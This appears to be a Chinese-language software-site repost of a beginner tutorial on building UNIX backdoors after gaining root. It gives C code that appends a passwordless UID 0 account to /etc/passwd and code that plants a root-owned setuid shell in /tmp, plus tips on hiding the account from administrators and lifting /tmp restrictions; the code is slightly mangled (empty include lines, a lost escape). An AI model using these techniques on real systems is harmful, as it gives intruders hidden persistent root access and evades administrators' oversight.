用户登录  |  傲看软件园 用户注册
文章中心广告代码ASP源码PHP源码JSP源码.NET源码源码相关傲看留言板繁體中文
当前位置:傲看软件园文章中心技巧应用其他软件

教你如何创建UNIX后门(初级篇)

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2011-06-30 19:47:20

最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会"漏馅"了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。
    <++> backdoor/backdoor1.c
    #include
    main()
    {
    FILE *fd;
    fd=fopen("/etc/passwd","a+");
    fprintf(fd,"hax0r::0:0::/root:/bin/shn");
    }
    <-->
    比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件。)
    在 /tmp 目录下放置 suid shell.以后只要你运行这个程序,就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。
    <++> backdoor/backdoor2.c
    #include
    main()
    {
    system("cp /bin/sh /tmp/fid");
    system("chown root.root /tmp/fid");
    system("chmod 4755 /tmp/fid");
    }

Tags:其它软件

作者:佚名

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

精品栏目导航

关于本站 | 网站帮助 | 广告合作 | 下载声明 | 友情连接 | 网站地图
冀ICP备08004437号 | 客服Q:354766721 | 交流群83228313
傲看软件园 - 绿色软件,破解软件下载站! 源码网 源码之家 绿软之家
Copyright © 2003-2010 OkHan.Net. All Rights Reserved .
页面执行时间:5,437.50000 毫秒
Powered by:OkHan CMS Version 4.0.0 SP2